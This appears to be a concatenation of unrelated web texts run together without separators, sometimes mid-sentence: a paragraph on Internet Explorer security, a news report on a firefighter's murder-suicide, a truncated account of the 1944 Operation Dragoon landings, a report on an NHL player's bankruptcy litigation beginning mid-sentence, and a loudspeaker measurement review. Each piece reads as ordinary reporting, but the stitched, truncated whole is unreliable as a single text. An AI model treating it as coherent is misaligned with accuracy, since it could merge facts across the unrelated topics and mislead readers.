As long as Microsoft continues to lead the browser market, IE is likely to be a popular target for attackers. For the short term, dropping IE might make sense for you, as long as it isn’t more trouble to replace browsers in your enterprise than it is to patch them. But you never know for sure just how secure a commercial product is until it has been subjected to a trial by fire, and if other browsers replace IE, they are likely to feel the heat.Before he shot his son, before he killed his wife, and before he ended his own life, James Bryant worked tirelessly to provide for his family.
It all came to a tragic and violent end Monday when police found him, his wife, and his 6-year-old son dead inside their Locust Grove home. Police believe it was a murder-suicide.
It's something Bryant's former EMT partner, Michael O'Hara, struggles to understand. He called Bryant a "top notch" firefighter and EMT.
"He's the one that you wanted with you when you faced a situation with an unknown outcome," he told 11Alive's Valerie Hoff.
Bryant worked as an EMT and firefighter for years. O'Hara said he worked extra shifts and extra jobs. "He was known to burn the candle at both ends to achieve success."
O'Hara said Bryant got tired, and he turned to "pharmaceutical enhancements." He lost his license to practice in pre-hospital care, and then started his own construction business.
"We encounter things that most people never see," O'Hara said. "He was one of those people who helped us, as individuals, cope with the trauma, the neglect, the sadness that we face. Everybody carries the baggage with them."
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O'Hara said the weight of the job, and then losing his ability to help people, "I think it weighed on his soul."
Palmetto Fire Chief Henry Argo said Bryant "was a valued member of our team" at one time.
"I couldn’t have asked for a better employee during his tenure so it really comes as a complete shock to all of us," Argo said. "That wasn't the Jim we knew."
Henry County Police say there was an argument between Bryant and his wife, Melissa, before the Sunday night shooting. Investigators found texts on their cell phones leading up to the 9:00 pm shooting.
In a Facebook post, O'Hara urges better support for his fellow EMTS. "We will never know what caused the despondence which ended these lives which we all cherished and loved. I do know that we each need to reflect on how we can lift up, support, and help those among us who might be struggling but are doing their best to 'Man Up' and shoulder our burdens so that no one else we know will feel so lonely that they find themselves overwhelmed by the despondence or desperation that stole these lives from us."Allied invasion of southern France on 15 August 1944
Operation Dragoon (15 August - 14 September 1944) was the code name for the Allied invasion of the French Riviera. Originally planned to coincide with D-Day (6 June), it had been postponed due to insufficient landing-craft. In August, it was revived, as the zone had become a low priority for the Germans, and conditions looked favourable for the liberation of Southern France with its key ports of Marseille and Toulon.
The US VI Corps landed at Hyères under the cover of a large naval task force, followed by several divisions of the French Army B. They were opposed by the scattered forces of the German Army Group G.
Hindered by Allied air superiority and an uprising by the French Resistance, the German forces were swiftly defeated and withdrew to the north through the Rhône valley, to establish a stable defense line at Dijon. Allied mobile units partially blocked their route at Montélimar. But neither side could achieve a decisive breakthrough, though the Germans were finally able to retreat from the town, while the French captured the seaports. Fighting ultimately came to a stop at the Vosges Mountains, where Army Group G established a stable defense line. The Allied forces needed reorganizing, and facing stiffened German resistance, they halted the offensive on 14 September.
Operation Dragoon was rated a success, though it remains controversial. The Allies were able to liberate most of southern France in only 4 weeks, while inflicting heavy casualties, and the captured ports eased Allied supply problems. But in the short term, it allowed German units to escape northward, into the face of Patton and Montgomery. Long-term, it diverted Churchill from his plan to invade the Balkans, and thus enabled the Soviets to take Vienna, altering the map of postwar Europe.
Background [ edit ]
Prelude [ edit ]
During planning stages, the operation was known as "Anvil", to complement Operation Sledgehammer, at that time the code name for the invasion of Normandy. Subsequently, both plans were renamed. Sledgehammer became Operation Overlord, and Anvil becoming Operation Dragoon. The original idea of invading southern France had come in 1942 from General George Marshall, the U.S. Army Chief of Staff. It was supported by Joseph Stalin at the Tehran Conference in late 1943. In discussions with Franklin D. Roosevelt, Stalin advocated for the operation as an inherent part of Overlord, preferring to have the Allies in the far west instead of at an alternative landing in the Balkans, which he considered to be in his zone of influence. Marshall insisted that the operation be included in the strategic planning, and Roosevelt found cancelling the operation to be unpalatable.
Operation Dragoon was controversial from the time it was first proposed. The American military leadership and its British counterparts disagreed on the operation. Winston Churchill argued against it on the grounds that it diverted military resources that were better deployed for Allied operations in Italy. Instead, he favored an invasion of the oil-producing regions of the Balkans. Churchill reasoned that by attacking the Balkans, the Allies could deny Germany petroleum, forestall the advance of the Red Army, and achieve a superior negotiating position in postwar Europe, all at a stroke.
When first planned, the landings were to take place simultaneously – Overlord in Normandy and Anvil in the south of France. A dual landing was soon recognized as impossible to conduct with the forces available. The expansion of Overlord from a three- to a five-division front required many additional LSTs, which would have been needed for Anvil. Another Allied amphibious landing, in Italy at Anzio, had gone badly. All of these resulted in the postponing of Anvil by the Allies.
After the landing at Normandy, a revival of Anvil became increasingly attractive to Allied planners. The Normandy ports had insufficient capacity to handle Allied supply needs and French generals under Charles de Gaulle pressed for a direct attack on southern France with participation of French troops. These factors led to a reconsideration of the plan. Despite Churchill's objections, the operation was authorized by the Allied Combined Chiefs of Staff on 14 July, then renamed Dragoon on 1 August. The landing was scheduled for 15 August.
Churchill and his chiefs of staff had opposed Dragoon in favour of reinforcing the campaign in Italy, by capturing Trieste, landing on the Istria Peninsula, and moving through the Ljubljana gap into Austria and Hungary. Then on August 4, Churchill proposed that Dragoon (less than two weeks away) should be switched to the coast of Brittany. Eisenhower, supported by Roosevelt, who (with his 1944 election campaign four months away) opposed diverting large forces to the Balkans, stood firm on the agreed plan despite long harangues from Churchill on August 5 and 9.[20]
Planning [ edit ]
A map showing the Allied amphibious landings and advance in Southern France, as well as German defensive positions
The chief objectives of Operation Dragoon were the important French ports of Marseille and Toulon, considered essential to supply the growing Allied forces in France. The Allied planners were cautious, taking heed of lessons learned from the Anzio and Normandy landings. They chose a location with no high ground controlled by the Wehrmacht, conditions that had led to heavy casualties after the initial landings on one of the beaches at Normandy. The choice for the disembarkation site was an area on the Var coast east of Toulon. A preliminary air campaign was planned to isolate the battlefield and cut the Germans off from reinforcement by destroying several key bridges. A large airborne landing was also planned in the center of the landing zone to quickly seize the high ground overlooking the beaches. Parallel to the invasion, several commando units were to take control of the islands off the coast.
The Allied plan consisted of a three-division landing of US forces led by Major General Lucian Truscott to secure a bridgehead on the first day. Their flanks were to be protected by French, American, and Canadian commando units. Within 24 hours, 50,000–60,000 troops and 6,500 vehicles were to be disembarked. The airborne landings would concentrate in an area near Draguignan and Le Muy, with the aim of taking these towns to prevent German counterattacks against the beaches. The bulk of the American force then had to advance quickly to the north along the Rhône, to take Lyon and Dijon and make contact with the Allied forces in northern France. After a successful initial landing, units of the French Army B were to land, given the task of taking the French ports of Toulon and Marseille.
Although the Germans expected another Allied landing in the Mediterranean, the advancing Red Army and the Allied landings in Normandy placed great strains on German resources, so little was done to improve the condition of Army Group G, occupying southern France. Given the advancing Allied forces in northern France, the Germans deemed a realistic defense in the south impossible. Johannes Blaskowitz's Army Group G headquarters discussed a general withdrawal from southern France in July and August with the German High Command, but the 20 July plot led to an atmosphere in which any withdrawal was out of the question. Blaskowitz was quite aware that with his scattered forces, any serious Allied landing attempt would be impossible to ward off. He planned to withdraw in secret, to include demolishing the ports, and to proceed in an orderly manner, covered by the 11th Panzer Division. He intended to establish a new defense line at Dijon in central France. German intelligence was aware of the impending Allied landing, and on 13 August, Blaskowitz ordered the 11th Panzer Division to move east of the Rhône, where the landing was expected.
Opposing forces [ edit ]
The Western Naval Task Force was formed under the command of Vice Admiral Henry Kent Hewitt to carry the U.S. 6th Army Group, also known as the Southern Group or Dragoon Force, onto the shore. The 6th Army Group was formed in Corsica and activated on 1 August, to consolidate the French and American forces slated to invade southern France. Admiral Hewitt's naval support for the operation included the American battleships Nevada, Texas, and Arkansas, the British battleship Ramillies, and the French battleship Lorraine, with 20 cruisers for gunfire support and naval aircraft from 9 escort carriers assembled as Task Force 88.
The main ground force for the operation was the US Seventh Army commanded by Alexander Patch. The US Army's VI Corps, commanded by Major General Lucian Truscott, would carry out the initial landing and be followed by the French Army B under command of Général Jean de Lattre de Tassigny. Accompanying the operation was a fully mobilized separate detachment called "Task Force Butler", consisting of the bulk of the Allied tanks, tank destroyers, and mechanized infantry.
The French Resistance played a major role in the fighting. As the Allies advanced into France, the Resistance evolved from a guerilla fighting force to a semiorganized army called French Forces of the Interior. The FFI would tie down German troops by sabotaging bridges and communication lines, seizing important traffic hubs and directly attacking isolated German forces. They were aided by Allied special forces from the Office of Strategic Services (OSS), who would supply the Allies with vital intelligence.
The Allied ground and naval forces were aided by a large aerial fleet of 3470 planes. The majority of them were stationed on Corsica and Sardinia. The tactical bombers and fighters had to support the landings directly, while the strategic element had to bomb German targets deep into France. The strategic bombing started well before the landing, and targeted airports, traffic hubs, railroads, coastal defenses, and communication lines.
Opposing the Allies was the German Army Group G (Heeresgruppe G). Although nominally an army group, Army Group G had at the time of the invasion only one army under its command: the 19th Army, under the command of Friedrich Wiese. As southern France had never been important to German planning, their forces there had been stripped of nearly all their valuable units and equipment over the course of the war. Due to the Allied threat in Normandy, Army Group G's units were continuously sent north until the Dragoon landings. The remaining 11 divisions were understrength and only one panzer division was left, the 11th. In early August, the 11th Panzer Division had sent one of its two panzer battalions to Normandy shortly before the landing.
The troops were positioned thinly along the French coast, with an average of 90 km (56 mi) per division. Generally, the troops of the German divisions were only second- and third-rate. This meant that over the course of the war, the divisions were thinned out and soldiers were replaced with wounded old veterans and Volksdeutsche from Poland and Czechoslovakia. Numerous units were also replaced by Ostlegionen and Ostbataillone. These units were volunteers from Eastern Europe, mainly the Soviet Union, and had a generally low fighting morale. The equipment of those troops was in poor shape, consisting of old weapons from various nations, with French, Polish, Soviet, Italian, and Czech guns, artillery, and mortars. Four of the German divisions were designated as "static", which meant that they were stripped of all of their mobile capabilities and unable to move from their positions. The only potent unit inside Army Group G was the 11th Panzer Division, which was commanded by Wend von Wietersheim.
The German chain of command was overly complex, with parallel chains for the occupation forces, the land forces, the Luftwaffe, and the Kriegsmarine. The Luftwaffe, with 200 aircraft, and the Kriegsmarine, with 45 small ships, played a negligible role in the operation. The German defense was aided by extensive coastal artillery placements which had been constructed in the years before the landing. After the Fall of France, the Vichy French regime greatly improved the coastal defenses to appease the Germans. Along the coast, about 75 coastal guns of heavy and medium caliber were placed. Toulon was protected by a complex of heavy 340 millimetres (13 in) gun artillery batteries in mounted turrets. After their military take-over in November 1942, the Germans improved the coastal defense further by repairing damaged and outdated turrets, as well as moving in additional guns. This included the 340 millimetres (13 in) guns taken from the dismantled French battleship Provence.
Operation [ edit ]
Preliminary operations [ edit ]
To ensure the success of Dragoon and support the initial landings, preliminary commando operations had to be carried out. The first target was the Hyères Islands, specifically Port-Cros and Levant. The guns of the German garrisons on both islands could reach the proposed Allied landing area and the sea lanes that the troops would follow. The First Special Service Force, a joint U.S.-Canadian special-forces unit trained in amphibious assault and mountaineering and consisting of three regiments, received the order to take the islands as part of Operation Sitka.
The landings on Port-Cros and Levant started simultaneously on 14 August. On Levant, the 2nd and 3rd Regiments of the First Special Service Force faced sporadic resistance that became more intense when the German garrison forces came together in the area of the port. The men of the First Special Service Force gained the upper hand and discovered that the "coastal defense battery" the Allied naval forces were worried about was actually several well-camouflaged dummy weapons.
On Port-Cros, the 1st Regiment drove the German garrison to the western side of the island to an old fort. Fighting continued through 16 August. When darkness fell, enemy guns on the French mainland at Cap Benat shelled Port-Cros. The Royal Navy battleship HMS Ramillies took aim at the fort where the Germans were barricaded. The German garrison surrendered on the morning of 17 August. With both islands in Allied hands, the men of the First Special Service Force transferred to the mainland, where they were attached to the First Airborne Task Force.
Meanwhile, at Cap Nègre to the west of the main invasion, a large group of French commandos destroyed German artillery emplacements as part of Operation Romeo. Their main effort was supported by diversionary flank landings by other commando teams. While the main mission succeeded, 67 French commandos were taken prisoner after they ran into a minefield. In addition to the commando operations, another operation was carried out, named Operation Span. This was a deception plan, aimed to confuse the German defenders with fake landings and paratroopers, to disperse them from the actual landing zones.
Main invasion force landings [ edit ]
Operation Dragoon landings
The preceding bombing missions, together with resistance sabotage acts, hit the Germans heavily, interrupting railroads, damaging bridges, and disrupting the communication network. The landing started on the morning of 15 August. Ships of the Western Naval Task Force approached under cover of darkness and were in position at dawn. The first of 1,300 Allied bombers from Italy, Sardinia, and Corsica began aerial bombardment shortly before 0600. Bombing was nearly continuous until 0730, when battleships and cruisers launched spotting aircraft and began firing on specific targets detected by aerial surveillance. Naval gunfire ceased as the landing craft headed ashore at 0800. The relatively steep beach gradients with small tidal range discouraged Axis placement of underwater obstacles, but landing beaches had been defensively mined. LCIs leading the first wave of landing craft fired rockets to explode land mines on the beaches to be used by following troops.
The main landing force consisted of three divisions of the VI Corps. The 3rd Infantry Division landed on the left at Alpha Beach (Cavalaire-sur-Mer), the 45th Infantry Division landed in the centre at Delta Beach (Le Muy, Saint-Tropez), and the 36th Infantry Division landed on the right at Camel Beach (Saint-Raphaël).
The landings were overwhelmingly successful. On Delta and Alpha beaches, German resistance was low. The Osttruppen surrendered quickly, and the biggest threats to the Allies were the mines. A single German gun and a mortar position were silenced by destroyer fire. The Allied units in this sector were able to secure a bridgehead and quickly linked up with the paratroopers, capturing Saint-Tropez and Le Muy. The most serious fighting was on Camel Beach near the town of Saint-Raphaël. This beach was defended by several well-emplaced coastal guns, as well as flak batteries. Through heavy German fire, the Allies attempted to land at the shore. However, at sector Red of the Camel Beach landing zone, the Allies were not able to succeed. A bombing run of 90 Allied B-24 bombers was called in against a German strongpoint here. Even with the assistance of naval fire, the Allies were not able to bring the landing ships close to the shore. They decided to avoid Camel Red and land only at the sectors of Camel Blue and Camel Green, which was successful.
The Allied casualties at the landings were very light, with only 95 killed and 385 wounded; 40 of those casualties were caused by a rocket-boosted Henschel Hs 293 guided gliding bomb launched from a Do 217 bomber aircraft by a rare appearance of the bomber wing KG 100, which sank the tank landing ship USS LST-282. In conjunction with the sea landing, airborne and glider landings (Mission Albatross followed by Mission Dove, Mission Bluebird, and Mission Canary) around the area of Le Muy were carried out. They were as successful as the beach landings, with only 104 dead, 24 of which were caused by glider accidents and 18 by parachute accidents.
German counterattacks [ edit ]
French sabotage by the FFI, together with the Allied bombing, severed German communication lines, causing initial confusion among the troops. German field commanders were not able to communicate with Army Group G's headquarters. Despite the hampered communications, German commanders acted independently to put measures in effect to counter the Allied invasion. Directly facing the brunt of the Allied landings was the German LXII Corps at Draguignan, commanded by Ferdinand Neuling. Allied paratroopers interrupted his communication lines and trapped his headquarters in the city. He, therefore, ordered the nearby 148th Infantry Division to counterattack against the beaches at Le Muy, just before the Allied paratroopers cut him off completely. Wiese, as commander of the 19th Army, was also unable to contact Blaskowitz's Army Group G headquarters, but implemented a plan to push the Allied forces in the Le Muy – Saint-Raphaël region back into the sea unilaterally. With almost no mobile reserves to react against the beach landings, he ordered the commander of the 189th Infantry Division, Richard von Schwerin, to establish an ad hoc battle group (Kampfgruppe) from all nearby units to counterattack the Allied bridgeheads in this area. While von Schwerin assembled all the men he could find, the 148th Infantry Division near Draguignan encountered heavy resistance from the FFI, which had been reinforced by British paratroopers, upsetting the plan for a swift counterattack toward the beaches.
While the Germans were unable to mount a counterattack against the Allied beachheads on 15 August, by the morning of 16 August, von Schwerin had finally assembled a force about the size of four infantry battalions. With this force, he launched a two-pronged assault towards Le Muy and the Allied bridgehead, as well as toward Draguignan to relieve the LXII Corps headquarters there. By that time, the Allies had already landed a significant number of troops, vehicles, and tanks. The Allied mobile forces of the 45th Division went out against the German forces themselves. The division surrounded the town of Les Arcs, recently reoccupied by von Schwerin's troops, and attempted to isolate the German forces there. After heavy fighting throughout the day, von Schwerin ordered his troops to retreat under cover of night. At the same time, heavy fighting occurred at Saint-Raphaël. Mobile units of the 148th Infantry Division finally had arrived there and encountered the US 3rd Division, which was trying to take Saint-Raphaël. This attack, however, was fruitless. By 17 August, the German counter-attacks had been largely defeated, Saint-Raphaël was secured together with a large bridgehead along the coastline, and mobile forces had linked up with the airborne troops in Le Muy. French troops had been pouring ashore since 16 August, passing to the left of the American troops with the objective of Toulon and Marseille.
By the night of 16/17 August, Army Group G headquarters realized that it could not drive the Allies back into the sea. Simultaneously in northern France, the encirclement of the Falaise pocket threatened the loss of large numbers of German forces. Given the precarious situation, Hitler moved away from his "no step backwards" agenda and agreed to an OKW plan for the complete withdrawal of Army Groups G and B. The OKW plan was for all German forces (except the stationary fortress troops) in southern France to move north to link up with Army Group B to form a new defensive line from Sens through Dijon to the Swiss frontier. Two German divisions (the 148th and 157th) were to retreat into the French-Italian Alps. The Allies were privy to the German plan through Ultra interception.
German withdrawal [ edit ]
The Germans started the withdrawal, while the motorized Allied forces broke out from their bridgeheads and pursued the German units from behind. The rapid Allied advance posed a major threat for the Germans, who could not retreat fast enough. The Germans tried to establish a defense line at the Rhône to shield the withdrawal of several valuable units there. The US 45th and 3rd Divisions were pressing to the north-west with uncontested speed, undermining Wiese's plan for a new defense line. Barjols and Brignoles were taken by the two American divisions on 19 August, which also were about to envelop Toulon, as well as Marseille from the north, cutting off the German units there.
In the northeast, the German problems loomed as large. Taskforce Butler – the Allied mechanized component of the landings – was pushing north of Draguignan. On 18 August Neuling's surrounded LXII Corps headquarters attempted an unsuccessful breakout and was finally captured with the rest of the city after some fighting. The German troops in this area were exhausted and demoralized from the fighting against the FFI, so Taskforce Butler was also able to advance at high speed. Digne was liberated on 18 August. At Grenoble, the 157th Reserve Infantry Division faced the Allied advance, and its commander decided to retreat on 21 August toward the Alps. This decision would prove to be fatal for the Germans, as it left a large gap in the eastern flank of the retreating Army Group G. Blaskowitz now decided to sacrifice the 242nd Infantry Division in Toulon, as well as the 244th Infantry Division in Marseille, to buy time for the rest of Army Group G to retreat through the Rhône Valley, while the 11th Panzer Division and the 198th Infantry Division would shield the retreat in several defense lines.
Liberation of Marseille and Toulon [ edit ]
Jean de Lattre de Tassigny walking through the liberated city of Marseille
Meanwhile, the disembarked French units started to head for Marseille and Toulon. The initial plan was to capture the ports in succession, but the unexpected Allied advance allowed the French commander de Lattre de Tassigny to attack both ports almost simultaneously. He split his forces into two units, with Joseph de Goislard de Monsabert given the task to take Toulon from the east while Edgard de Larminat drove north to encircle the city at the flanks. The Germans had a significant force stationed in both cities, but they lacked the time to prepare for a determined defense. After heavy fighting around Hyères, which temporarily stopped the advance, French forces approached Toulon on 19 August. At the same time, Monsabert swung around the city, enveloped it, and cut off the highway between Toulon and Marseille. On 21 August, the French pressed into Toulon, and heavy fighting ensued. The heavy German resistance led to an argument between Larminat and de Tassigny, after which de Tassigny took over direct command of the operation, dismissing Larminat. By 26 August, the remaining German units had surrendered. The battle for Toulon cost the French 2,700 casualties, but they captured all remaining German forces, which lost their entire garrison of 18,000 men.
At the same time, Monsabert's attempt to liberate Marseille commenced. At first, a German force at Aubagne was defeated before French troops attacked the city directly. Unlike Toulon, the German commander at Marseille did not evacuate the civilian population, which became increasingly hostile. The resulting fighting with FFI troops further weakened the German units, which were exhausted from partisan fighting. The Wehrmacht was not able to defend on a broad front and soon crumbled into numerous isolated strongpoints. On 27 August, most of the city was liberated, with only a few small strongpoints remaining, and on 28 August, German troops issued the official surrender. The battle caused 1,825 French casualties, but 11,000 German troops were captured. In both harbours, German engineers had demolished port facilities to deny their use to the Allies.
Battle at Montélimar [ edit ]
Allied advance until mid-September
While Marseille and Toulon were liberated, the German retreat continued. The 11th Panzer Division started several feint attacks toward Aix-en-Provence to discourage any further Allied advance. By doing so, LXXXV Corps, as well as IV Luftwaffe Field Corps, were able to successfully retreat from the Allied advance at the Rhône. The Allies were unsure of German intentions, and Truscott decided to try to trap the Germans with a right flank movement whilst pursuing them with his three divisions from VI Corps. However, uncertainty at the Allied headquarters led to indecisiveness, and the Allies missed several opportunities to cut off the retreating LXXXV Corps.
Through the decryption of German radio communications, the Allied headquarters became aware of the German withdrawal plan. They recognized the open German flank to the east of the Rhône at Grenoble due the retreat of the 157th Infantry Division towards the Alps. To seize this opportunity, Taskforce Butler was ordered to advance in this direction, paralleling the German evacuation effort and ultimately cutting them off further north. While doing so, it fought some scattered German resistance, and finally, after turning left, found itself near Montélimar, a small city on the east bank of the Rhône River. This town lay directly on the German escape route. Following Taskforce Butler was the 36th Infantry Division. Together, they were asked on 20 August to block the German force at Montélimar and continue the northward advance to Grenoble, while VI Corps was pursuing the Germans from behind. However, after this speedy advance, the forward Allied forces suffered now from a serious lack of fuel and supplies, which made this task difficult.
On 21 August, Taskforce Butler occupied the hills north of the town of Montélimar, according to revised orders from Truscott, as he considered it too weak to block the entire German force marching north. From this position, Taskforce Butler fired on the evacuating German troops, while waiting for further reinforcements. Troops from the FFI supported the Americans, harassing German troops through the entire battle. The sudden appearance of this new threat shocked Wiese and the German command. As a first countermeasure, Wietersheim's 11th Panzer Division was called in. The first of its units to arrive, together with several ad hoc Luftwaffe battle groups, were asked to deal with this new threat. This hastily assembled force mounted an attack against Puy the same day, and the Germans were able to isolate Taskforce Butler from supplies. This success was, however, short-lived, and the Germans were pushed back soon after.
The next day, the first units of the 36th Division arrived, reinforcing Taskforce Butler. However, the Allied troops were still short of supplies and lacked enough men to directly attack the German escape route. During the next few days, more Allied men and supplies trickled in. At the same time, the US 45th Division took over positions at Grenoble, leaving the 36th Division free to fully commit its forces at Montélimar. Taskforce Butler was officially dissolved on 23 August, and John E. Dahlquist, commander of the now fully arrived 36th Infantry Division, assumed direct control of its units. For the rest of the day, only small skirmishes occurred between German and Allied forces. Meanwhile, the Germans also struggled to bring the 11th Panzer Division through the chaos of the evacuation into position in the town. By 24 August, a substantial number of the 11th Panzer Division had finally reached the battle area.
With his newly reorganised units, Dahlquist attempted a direct attack against Montélimar, which failed against the newly arrived German tank units. The subsequent German counter-attack gained some ground against the hills occupied by the Allies. Its aim was to push the Americans from the hills north of Montélimar and to force the American artillery to move back out of range. After the fighting, the Germans captured a copy of Dahlquist's operational plans, giving them a better picture of the Allied forces. As a result, Wiese planned a major attack for 25 August by the 11th Panzer Division and the 198th Infantry Division, together with some ad hoc Luftwaffe battlegroups. This attack was, however, also a big failure. The Allies struck back and retook the hills north of Montélimar, and were able to establish a temporary roadblock on the German escape route. Again, this Allied success also did not last long, as another attack led by Wietersheim reopened the passage at midnight.
After the repeated German counterattacks prevented any lasting roadblock, Truscott finally allowed reinforcements from the 45th Division to support Dahlquist at Montélimar, as he felt the successful operations further south at the French ports allowed him to refocus to the north. At the same time, the Germans also reinforced their fighting force. Over the next few days, a stalemate emerged, with the Allies unable to block the retreat route and the Germans unable to clear the area of the Allied forces. Both sides became increasingly frustrated during the fighting, with attack, counterattack, and spoiling attacks, which made launching a decisive offensive hard for the 36th Division. Whilst the 36th Division had surrounded the 19th Army, they themselves were almost surrounded, too, during the chaotic fighting, with only a thin supply route to the east open, resulting in their having to fight to the front and the rear. As the 36th Division was seemingly making no progress, an angry Truscott arrived at Dahlquist's headquarters on 26 August to relieve him of command. However, on seeing the heavy terrain and shattered forces, he refrained and left the headquarters again. Finally, during 26–28 August, the majority of the German forces were able to escape, leaving behind 4,000 burnt-out vehicles and 1,500 dead horses. On 29 August, the Allies captured Montélimar, and the final German troops trying to break out surrendered. The Germans suffered 2,100 battle casualties plus 8,000 POWs, while the Americans had 1,575 casualties. Total POW losses of the 19th Army now amounted to 57,000.
Final German retreat [ edit ]
The VI Corps, together with units from the French II Corps at its flank, pursued and tried to cut off the German forces on their way toward the town of Dijon, while the Germans planned to prevent another Montélimar with a defensive shield by the
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24, 2014, to sign a document pledging his NHL contract as collateral for the loan.
“The documents were not ‘allegedly signed by Johnson’ (or by his parents without his knowledge) as Johnson asserted in his initial filings,” RFF lawyer Jeffrey Levinson wrote in an email to TSN. “Johnson admitted in his testimony (at trial and in depositions) that he personally signed both (the loan document and the document pledging his NHL contract as security) and he initialed every page of each document, met with representatives of RFF in Los Angeles, and received the money.
“The loan was a bridge loan to be paid back in 30 days,” Levinson wrote. “Johnson promised to but never paid it.”
Levinson said the dates were different on the Jan. 21 loan document and the notary public statement because Johnson forgot to sign a page.
“The documents were prepared on the 21st,” Levinson wrote in an email. “He signed the promissory note and the other documents on the 23rd. My client received them by FedEx on the 24th and noticed he forgot or failed to sign one of the documents. He went back to the notary and signed and Fedexed that document to us.”
RFF says that when Johnson signed the loan documents, he purposely avoided including any details about the prior loans he and his parents had allegedly taken out.
“This omission was done by (Johnson) for the purpose of improperly insulating his parents from litigation claims,” RFF said in a court document.
Johnson has not asked the court to demand his parents be forced to testify about the loans and has not demanded any documents from them related to the loans.
“There is nothing in the record (showing) any attempt whatsoever by (Johnson) to investigate the significant claims and causes of action against his advisors and parents,” RFF alleged.
A source close to Johnson confirmed that he did, indeed, sign the Jan. 21, 2014, promissory note.
“Of all the promissory notes, Johnson signed about half of them,” the source said. “His mother would send him just the signature page to sign. But he didn’t read what he was signing. He didn’t understand it. And he didn’t have any reason to mistrust his mother.”
Levinson wrote in an email that creditors are still investigating where the money lent to Johnson has gone.
“The real issue in this case is what Johnson and his parents did with the over $12 plus million they borrowed from all the creditors in this case (over and above the salary he was receiving and not using to pay the money back),” Levinson wrote.
“Despite a year to investigate and report to the court Johnson as the debtor in possession offers no explanation,” he wrote. “That is the real story and everyone has been looking for an answer since the beginning of this case. We do know they spent millions of dollars on luxury items, including two California homes, hundreds of thousands of dollars in improvements to his Ann Arbor home, jewelry, travel, two Ferraris, three BMWs, a Hummer, a $50,000 wedding while in bankruptcy etc. “
“Now, rather than doing the ‘right thing,’ as Johnson has said over and over again that he wants to do, he has spent more than a million dollars more on his attorneys trying to avoid paying the very debts he has admitted are his obligations,” Levinson wrote.
Johnson has spent months trying to convert his case from a Chapter 11 bankruptcy to a Chapter 7 bankruptcy and he spent about a day and a half testifying about his case during a three-day hearing in early September.
His parents were questioned by lawyers for creditors in August.
If his bid to convert his bankruptcy to Chapter 7 is successful, Johnson, who is scheduled to be paid a combined $15 million over the next three NHL seasons, would be able to keep those future earnings for himself, instead of being forced to commit some of his salary to repaying his former lenders, Buffalo bankruptcy lawyer Thomas Denny told TSN in an interview.
“If he goes through Chapter 7, he’ll probably have to liquidate most of what he has, but at the end of it, he gets a fresh start, his debt will be gone,” Denny said.
Chapter 11 proceedings can typically last three to six years, Denny said, compared to about six months for Chapter 7.
Johnson listed real estate in California ($1.65 million) and Michigan ($550,000), two 2007 BMW X5s, a 2012 BMW and a 2011 Ferrari as assets in a Dec. 31, 2014, financial balance sheet.
It’s unclear how much longer Johnson’s bankruptcy proceedings might last. He probably won’t find out whether he can convert his bankruptcy to Chapter 7 until the end of October.It's no secret that deputy editor Art Dudley is an anachrophile (footnote 1). After expounding on the virtues of vintage audio gear in his October 2016 Listening " column, he spent no fewer than seven pages of our November issue raving about the sound quality of Auditorium 23's expensive Hommage Cinema loudspeaker, from Germany. (The Hommage Cinema costs $49,995/pair, plus $5495 for the necessary AcousticPlan NT-1 field-coil power supply.)
Auditorium 23's floorstanding Hommage Cinema comprises a bass bin with twin powered woofersa 7" mounted above a 12"atop which sits an elegant folded horn intended to handle the output of a replica, made in China by Line Magnetic, of Western Electric's classic 555 compression driver, which dates from 1927. Mounted on one side of the bass enclosure is Line Magnetic's replica of Western Electric's 597A compression driver, mounted in a small treble horn. Dating from 1929, the 597A, like the 555, has an aluminum diaphragm and is energized with a field coil.
Art was blown away by what he described as "the speakers' exceptional easethat too-rare quality in which music is neither shot nor squeezed, toothpaste-like, at the listener, nor left hanging stagnant, half a world away. With record after record, music simply happened; although there's no way to know for sure, I was always left with the sense that the force behind its remaking was on a par with the force behind its making.... In the Hommage Cinema, Auditorium 23 has given us what may be the best and easiest opportunity to experience once again a class of loudspeakers that dead engineers forgot to keep making," summed up Mr. D. He concluded that, "As second chances go, it's a hell of a thing."
This was a speaker I needed to hear for myselfand measureso I packed up my testing impedimenta and hit the road for the 230-mile drive to Artie's lair, in upstate New York.
Measurements
I used DRA Labs' MLSSA system and a calibrated DPA 4006 microphone to measure the Auditorium 23 speaker's frequency response in the farfield, and an Earthworks QTC-40 for the nearfield and in-room responses. I left the woofer-level settings at those chosen by AD for his listening, "6" for the 12" driver and between "4" and "5" for the 7" driver, and the field-coil power supply set to his preferred 6.4V.
My estimate of the Hommage Cinema's B-weighted voltage sensitivity was an extraordinary 102dB(B)/2.83V/m, which is 14dB higher than the average sensitivity of the 750 speakers I have measured since 1989, and almost 20dB higher than the sensitivity of the BBC LS3/5a I always measure at the same time I test a speaker (to ensure that I haven't made an error in setup). If the little British speaker could handle the power, it would need 100W to play at the same level the Hommage Cinema would with 1W. This is heroic engineering! In the 27 years I have been measuring loudspeakers, I have encountered only one that was more sensitive, and it was a musical-instrument speaker: a Fender Bassman 2x15 cabinet.
Not only is the Auditorium 23 sensitive, it is efficient. (The two terms are often confused.) The plot of its impedance magnitude (fig.1, solid trace) suggests that a 15 ohm specification would be appropriate. This means that at 2.83V, the level at which I assess sensitivity, the Hommage Cinema draws 0.53W from the amplifier rather than 1W. With 3.87V, which is equivalent to 1W into 15 ohms, the sensitivity would measure the specified 105dB. The reduction to 10 ohms in the treble in this graph is likely simply due to the tweeter being connected in parallel with the midrange drive-unit rather than with a crossover filter. The impedance trace is typical of a horn speaker, with multiple peaks due to resonances, these most likely due to reflections of the waveform from the edge of the horn mouth back to the throat. The large rise in magnitude in the bass, coupled with the increasingly capacitive phase angle (dotted trace), suggests that the high-pass crossover to the midrange horn comprises a single series capacitor.
Fig.1 Auditorium 23 Hommage Cinema, electrical impedance (solid) and phase (dashed) (5 ohms/vertical div.).
Turning to the quasi-anechoic acoustic measurements, fig.2 shows the individual responses of the treble horn (red trace), the midrange horn (black), the upper woofer (green), and the lower woofer (blue). In the case of the three lower-frequency drivers, the farfield response is spliced in the midrange to a nearfield measurement. The midrange output of the horn-loaded midrange unit has small peaks at the frequencies evident in the impedance plot, but the overall trend from 4kHz down to 200Hz, where its output cuts off sharply, is relatively even. It also rolls off above 4kHz, with the small treble horn covering just over an octave above that frequency.
Fig.2 Auditorium 23 Hommage Cinema, acoustic crossover at 50" on midrange axis, corrected for microphone response, with nearfield responses of upper woofer (green), lower woofer (blue), and midrange horn (black), plotted in the ratios of their radiating diameters.
